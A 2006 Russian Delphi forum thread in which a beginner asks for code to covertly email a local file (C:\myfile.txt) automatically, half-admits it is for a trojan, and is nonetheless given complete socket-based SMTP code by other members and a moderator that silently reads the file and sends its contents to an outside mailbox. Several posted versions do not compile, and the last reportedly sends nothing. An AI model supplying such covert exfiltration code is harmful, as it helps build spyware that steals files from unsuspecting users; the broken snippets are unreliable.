Модераторы: Snowy, Poseidon, MetalFan

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Скрытая отправка 
:(
    Опции темы
dark73
  Дата 24.1.2006, 22:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет



Нужна реализация скрытой отправки файла на е-мейл (например C:\myfile.txt(), прогу пишу без формы, вот нашел код на этом замечательном форуме, но не могу поять, куда вписывать мыло %) извените, дельфи только начал изучать
Код

unit Email;
interface
uses
  Windows, SusUtils, Classes;
function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;
function IsOnline: Boolean;
implementation
uses Mapi;
function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;
var
  MapiMessage: TMapiMessage;
  MapiFileDesc: TMapiFileDesc;
  MapiRecipDesc: TMapiRecipDesc;
  i: integer;
  s: string;
begin
  with MapiRecipDesc do
  begin
    ulRecerved:= 0;
    ulRecipClass:= MAPI_TO;
    lpszName:= PChar(RecipName);
    lpszAddress:= PChar(RecipAddress);
    ulEIDSize:= 0;
    lpEntryID:= nil;
  end;
  with MapiFileDesc do
  begin
    ulReserved:= 0;
    flFlags:= 0;
    nPosition:= 0;
    lpszPathName:= PChar(Attachment);
    lpszFileName:= nil;
    lpFileType:= nil;
  end;
  with MapiMessage do
  begin
    ulReserved := 0;
    lpszSubject := nil;
    lpszNoteText := PChar(Subject);
    lpszMessageType := nil;
    lpszDateReceived := nil;
    lpszConversationID := nil;
    flFlags := 0;
    lpOriginator := nil;
    nRecipCount := 1;
    lpRecips := @MapiRecipDesc;
    if length(Attachment) > 0 then
    begin
      nFileCount:= 1;
      lpFiles := @MapiFileDesc;
    end
    else
    begin
      nFileCount:= 0;
      lpFiles:= nil;
    end;
  end;
  Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG
  or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;
function IsOnline: Boolean;
var
  RASConn: TRASConn;
  dwSize,dwCount: DWORD;
begin
  RASConns.dwSize:= SizeOf(TRASConn);
  dwSize:= SizeOf(RASConns);
  Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
  Result:= (Res = 0) and (dwCount > 0);
end;
end.


Вот полная ссылка откуда взял код:
http://forum.vingrad.ru/index.php?showtopic=55273

Если кто может помочь, то скажите как связать это вот с этим http://forum.vingrad.ru/index.php?showtopic=80870 то есть автоматом отправлять файл при достижении его определнного размера.

Или как можно замутить так, что бы файл сам отсылался, например 1н раз в неделю. Пишу без формы, так что таймер не поставишь =(

Это сообщение отредактировал(а) Snowy - 25.1.2006, 10:18
PM MAIL   Вверх
RaIDeR
Дата 25.1.2006, 01:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 116
Регистрация: 20.6.2005

Репутация: 1
Всего: 4



Цитата

извените, дельфи только начал изучать

Ну и пиши на компонентах smile

Цитата

Пишу без формы, так что таймер не поставишь =(

=) =) =) Для этого существует Api ф-ция SetTimer ;)

ps
Трояна пишешь ?)
PM MAIL   Вверх
RA
Дата 25.1.2006, 15:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Брутальный буратина
****


Профиль
Группа: Участник Клуба
Сообщений: 3497
Регистрация: 31.3.2002
Где: Лес

Репутация: 10
Всего: 115



function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;


SendEmail('John Kakashkin','[email protected]','Spy Report','c:\file.txt');

PM   Вверх
dark73
Дата 25.1.2006, 22:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет



Извените,за мою наивность, но не могли бы вы привести полный код.
И какие ф-ции кроме Windows надо подключать?
PM MAIL   Вверх
bems
Дата 25.1.2006, 23:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: нет
Всего: 88



Прошу прощения, если лезу не в свое дело, но трояны обычно пишут через некоторое время ПОСЛЕ того как начинают изучать программирование


--------------------
Обижено школьников: 8
PM MAIL   Вверх
dark73
Дата 25.1.2006, 23:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет



А с чего ты вообще ты взял что ясобираюсь писать трояна?
просьба не флеймить!
PM MAIL   Вверх
ne0n
Дата 26.1.2006, 21:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


PlayBoy
**


Профиль
Группа: Участник
Сообщений: 733
Регистрация: 5.8.2005
Где: Н.Новгород

Репутация: нет
Всего: 11



Цитата(dark73 @ 25.1.2006, 23:34 Найти цитируемый пост)

А с чего ты вообще ты взял что ясобираюсь писать трояна?

Да блин сразу все понятно!
В основном такие потребности нужны для написания трояна!

PM MAIL ICQ   Вверх
dark73
Дата 26.1.2006, 22:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет



Блин, ладно раскусили, но это не совсем трой, мне для работы нужно.
А не для какого-нить баловства
PM MAIL   Вверх
RA
Дата 26.1.2006, 23:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Брутальный буратина
****


Профиль
Группа: Участник Клуба
Сообщений: 3497
Регистрация: 31.3.2002
Где: Лес

Репутация: 10
Всего: 115



Цитата(dark73 @ 26.1.2006, 22:52 Найти цитируемый пост)

Блин, ладно раскусили, но это не совсем трой, мне для работы нужно.
А не для какого-нить баловства


посущесву:
Да какая разница, что это и для чего, если вы языка программирования не знаете smile
А учить вас этому тут врятли ктонить станет ...

не посущесву:
Хотя мир не без странных людей smile
Добавлено @ 23:29
И вобще батенька вы промазали вам из той темы нужен был не тот код каторый вы тут показали а соседний тоесть этот:

PS: счтиайте это напутствием smile

Код

{
smtp - ip адрес smtp сервера
port - порт smtp сервера, по умолчанию 25
from - адрес отправителя
dest - адрес получателя
subject - тема письма
body - текст писма
Возвращает True если письмо было успешно отправленно...
}

function mail(smtp: string; port: integer; from, dest, subject,
  body: string): bool;
const
  cl = #13#10;
var
WSAData: TWSAData;
  Host: TSockAddrIn;
  Sock: TSocket;
  res: Integer;
  buff: array[1..255] of Char;

  { отправляем данные через сокет }
  procedure senddata(str: string);
  var
    i: integer;
  begin
    for i := 1 to Length(str) do
      if send(Sock, str[i], 1, 0) = SOCKET_ERROR then
        exit;
  end;

  { получаем ответ от команды }
  function recvdata(accept: string): bool;
  var
    buff: array[1..255] of Char;
  begin
    res := recv(Sock, buff, SizeOf(buff), 0);
    Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept);
  end;

begin
  try
    result := false;
    { инициализация сокета }
    WSAStartUp(257, WSAData);
    Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if Sock = INVALID_SOCKET then
      Exit;

    { устанавливаем хост и порт сервера }
    res := inet_addr(PChar(smtp));
    if res <= 0 then
      exit;

    Host.sin_family := AF_INET;
    Host.sin_port := htons(port);
    Host.sin_addr.S_addr := res;

    { подключаемся к серверу }
    if connect(Sock, Host, SizeOf(Host)) > 0 then
      Exit;

    { приветствие сервера }
    if not recvdata('220') then
      Exit;

    { EHLO }
    senddata('EHLO' + cl);
    if not recvdata('250') then
      Exit;

    { MAIL FROM: }
    senddata('MAIL FROM:' + from + cl);
    if not recvdata('250') then
      Exit;

    { RCPT TO: }
    senddata('RCPT TO:' + dest + cl);
    if not recvdata('250') then
      Exit;

    { DATA }
    senddata('DATA' + cl);
    if not recvdata('354') then
      Exit;

    { отправляем текст сообщения }
    senddata('Subject:' + subject + cl + cl + body + cl + '.');
    if not recvdata('250') then
      Exit;

    { отключаемся от сервера }
    senddata('QUIT' + cl);

    result := true;
  finally
    { убиваем сокет }
    closesocket(sock);
    WSACleanup;
  end;
end;

{
mail('127.0.0.1',25,'[email protected]' ,'[email protected]', 'subj', 'body text');
}

Добавлено @ 23:36
да кстати этот код выдранная часть из библиотеки (и отправляет письмо без аттача) CRTSOCK такчто вот оригинал, там всё есть ->
http://tothpaul.free.fr/zip/CRTSOCK.ZIP
PM   Вверх
dark73
Дата 27.1.2006, 00:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет



Да, с программингом я только начал знакомиться...

Блин, по моему я не верно заполнил поля smile



Код

function mail(smtp: string; port: integer; from, dest, subject,
  body: string): bool;
const
  cl = #13#10;
var
WSAData: TWSAData;
  Host: TSockAddrIn;
  Sock: TSocket;
  res: Integer;
  buff: array[1..255] of Char;
  { отправляем данные через сокет }
  procedure senddata(str: string);
  var
    i: integer;
  begin
    for i := 1 to Length(str) do
      if send(Sock, str[i], 1, 0) = SOCKET_ERROR then
        exit;
  end;
  { получаем ответ от команды }
  function recvdata(accept: string): bool;
  var
    buff: array[1..255] of Char;
  begin
    res := recv(Sock, buff, SizeOf(buff), 0);
    Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept);
  end;
begin
  try
    result := false;
    { инициализация сокета }
    WSAStartUp(257, WSAData);
    Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if Sock = INVALID_SOCKET then
      Exit;
    { устанавливаем хост и порт сервера }
    res := inet_addr(PChar(smtp.mail.ru));
    if res <= 0 then
      exit;
    Host.sin_family := AF_INET;
    Host.sin_port := htons(25);
    Host.sin_addr.S_addr := res;
    { подключаемся к серверу }
    if connect(Sock, Host, SizeOf(Host)) > 0 then
      Exit;
    { приветствие сервера }
    if not recvdata('220') then
      Exit;
    { EHLO }
    senddata('EHLO' + cl);
    if not recvdata('250') then
      Exit;
    { MAIL FROM: }
    senddata('MAIL FROM:' [email protected]);
    if not recvdata('250') then
      Exit;
    { RCPT TO: }
    senddata('RCPT TO:' [email protected]);
    if not recvdata('250') then
      Exit;
    { DATA }
    senddata('DATA' + cl);
    if not recvdata('354') then
      Exit;
    { отправляем текст сообщения }
    senddata('Subject:' Tema pisma);
    if not recvdata('250') then
      Exit;
    { отключаемся от сервера }
    senddata('QUIT' + cl);
    result := true;
  finally
    { убиваем сокет }
    closesocket(sock);
    WSACleanup;
  end;
end;



А как файл прикрепить?
например c:\myfile.txt




PM MAIL   Вверх
0Max0
Дата 27.1.2006, 12:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.1.2006

Репутация: нет
Всего: нет



Да, это то, что мне надо, только вот код всё равно с ошибками =(
Код

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

   function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;


SendEmail('John Kakashkin','[email protected]','Spy Report','c:\file.txt');

end;

end.


Вот ошибки
[Error] Unit1.pas(28): Unknown directive: 'SendEmail'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'

Вроде всё должно работать, в чём ошибка ???
PM MAIL   Вверх
Snowy
Дата 27.1.2006, 12:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484



1. Тупо вставляем в свою программу этот код: http://forum.vingrad.ru/index.php?showtopi...38;amp;p=628639
2.
Код

var
  fs: TFileStream;
  s:   string;
begin
  fs:=TFileStream.Create('C:\myfile.txt', fmOpenRead);
  SetLength(s, fs.Size); fs.Read(s[1], fs.Size);
  fs.Free;
  mail(smtp, 25, '[email protected]', '[email protected]', 'лови файл', s);
end;

Добавлено @ 12:53
P.S. вместо smtp нужно подставить адрес smtp сервера.
PM MAIL   Вверх
0Max0
Дата 27.1.2006, 13:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.1.2006

Репутация: нет
Всего: нет



не работает, попробуй у себя на компе, если не сложно


Код

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
            function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;
function IsOnline: Boolean;
implementation

{$R *.dfm}


uses Mapi;
function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;
var
  MapiMessage: TMapiMessage;
  MapiFileDesc: TMapiFileDesc;
  MapiRecipDesc: TMapiRecipDesc;
  i: integer;
  s: string;
begin
  with MapiRecipDesc do
  begin
    ulRecerved:= 0;
    ulRecipClass:= MAPI_TO;
    lpszName:= PChar(RecipName);
    lpszAddress:= PChar(RecipAddress);
    ulEIDSize:= 0;
    lpEntryID:= nil;
  end;
  with MapiFileDesc do
  begin
    ulReserved:= 0;
    flFlags:= 0;
    nPosition:= 0;
    lpszPathName:= PChar(Attachment);
    lpszFileName:= nil;
    lpFileType:= nil;
  end;
  with MapiMessage do
  begin
    ulReserved := 0;
    lpszSubject := nil;
    lpszNoteText := PChar(Subject);
    lpszMessageType := nil;
    lpszDateReceived := nil;
    lpszConversationID := nil;
    flFlags := 0;
    lpOriginator := nil;
    nRecipCount := 1;
    lpRecips := @MapiRecipDesc;
    if length(Attachment) > 0 then
    begin
      nFileCount:= 1;
      lpFiles := @MapiFileDesc;
    end
    else
    begin
      nFileCount:= 0;
      lpFiles:= nil;
    end;
  end;
  Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG
  or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;
function IsOnline: Boolean;
var
  RASConn: TRASConn;
  dwSize,dwCount: DWORD;
begin
  RASConns.dwSize:= SizeOf(TRASConn);
  dwSize:= SizeOf(RASConns);
  Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
  Result:= (Res = 0) and (dwCount > 0);
end;
var
  fs: TFileStream;
  s:   string;
begin
  fs:=TFileStream.Create('C:\myfile.txt', fmOpenRead);
  SetLength(s, fs.Size); fs.Read(s[1], fs.Size);
  fs.Free;
  mail(smtp.mail.ru, 25, '[email protected]', '[email protected]', 'ëîâè ôàéë', s);


end.




Вот ошиьбки
[Error] Unit1.pas(39): Undeclared identifier: 'ulRecerved'
[Error] Unit1.pas(83): Undeclared identifier: 'TRASConn'
[Error] Unit1.pas(86): Undeclared identifier: 'RASConns'
[Error] Unit1.pas(88): Undeclared identifier: 'Res'
[Warning] Unit1.pas(89): Comparing signed and unsigned types - widened both operands
[Error] Unit1.pas(98): Undeclared identifier: 'mail'
[Error] Unit1.pas(98): Missing operator or semicolon
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'


Скиньте пожалуйста исходник, а то что-то вообще не компилиться.

PM MAIL   Вверх
Snowy
Дата 27.1.2006, 13:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484



Код

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

uses WinSock;

function mail(smtp: string; port: integer; from, dest, subject,
  body: string): bool;
const
  cl = #13#10;
var
WSAData: TWSAData;
  Host: TSockAddrIn;    
  Sock: TSocket;    
  res: Integer;    
  { отправляем данные через сокет }
  procedure senddata(str: string);    
  var    
    i: integer;    
  begin    
    for i := 1 to Length(str) do    
      if send(Sock, str[i], 1, 0) = SOCKET_ERROR then    
        exit;    
  end;    
  { получаем ответ от команды }    
  function recvdata(accept: string): bool;    
  var    
    buff: array[1..255] of Char;    
  begin    
    res := recv(Sock, buff, SizeOf(buff), 0);    
    Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept);    
  end;    
begin    
  try    
    result := false;    
    { инициализация сокета }    
    WSAStartUp(257, WSAData);    
    Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);    
    if Sock = INVALID_SOCKET then    
      Exit;    
    { устанавливаем хост и порт сервера }    
    res := inet_addr(PChar(smtp));    
    if res <= 0 then    
      exit;    
    Host.sin_family := AF_INET;    
    Host.sin_port := htons(port);    
    Host.sin_addr.S_addr := res;    
    { подключаемся к серверу }    
    if connect(Sock, Host, SizeOf(Host)) > 0 then    
      Exit;    
    { приветствие сервера }    
    if not recvdata('220') then    
      Exit;    
    { EHLO }    
    senddata('EHLO' + cl);    
    if not recvdata('250') then    
      Exit;    
    { MAIL FROM: }    
    senddata('MAIL FROM:' + from + cl);    
    if not recvdata('250') then    
      Exit;    
    { RCPT TO: }    
    senddata('RCPT TO:' + dest + cl);    
    if not recvdata('250') then    
      Exit;    
    { DATA }    
    senddata('DATA' + cl);    
    if not recvdata('354') then    
      Exit;    
    { отправляем текст сообщения }    
    senddata('Subject:' + subject + cl + cl + body + cl + '.');    
    if not recvdata('250') then    
      Exit;    
    { отключаемся от сервера }    
    senddata('QUIT' + cl);    
    result := true;    
  finally    
    { убиваем сокет }    
    closesocket(sock);    
    WSACleanup;    
  end;    
end;

var
  fs: TFileStream;
  s:   string;
begin
  fs:=TFileStream.Create('C:\myfile.txt', fmOpenRead);
  SetLength(s, fs.Size); fs.Read(s[1], fs.Size);
  fs.Free;
  mail('smtp.mail.ru', 25, '[email protected]', '[email protected]', 'eiae oaee', s);
end.

PM MAIL   Вверх
0Max0
Дата 27.1.2006, 14:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.1.2006

Репутация: нет
Всего: нет



Всё прекрасно компилится, но письма не отсылаются, даже пакеты не отсылаются =(
пробывал отсылать на разные ящики
PM MAIL   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Сети"
Snowy
Poseidon
MetalFan

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делится вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи

Если Вам помогли и атмосфера форума Вам понравилась, то заходите к нам чаще! С уважением, Snowy, Poseidon, MetalFan.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Сети | Следующая тема »


 




[ Время генерации скрипта: 0.0925 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.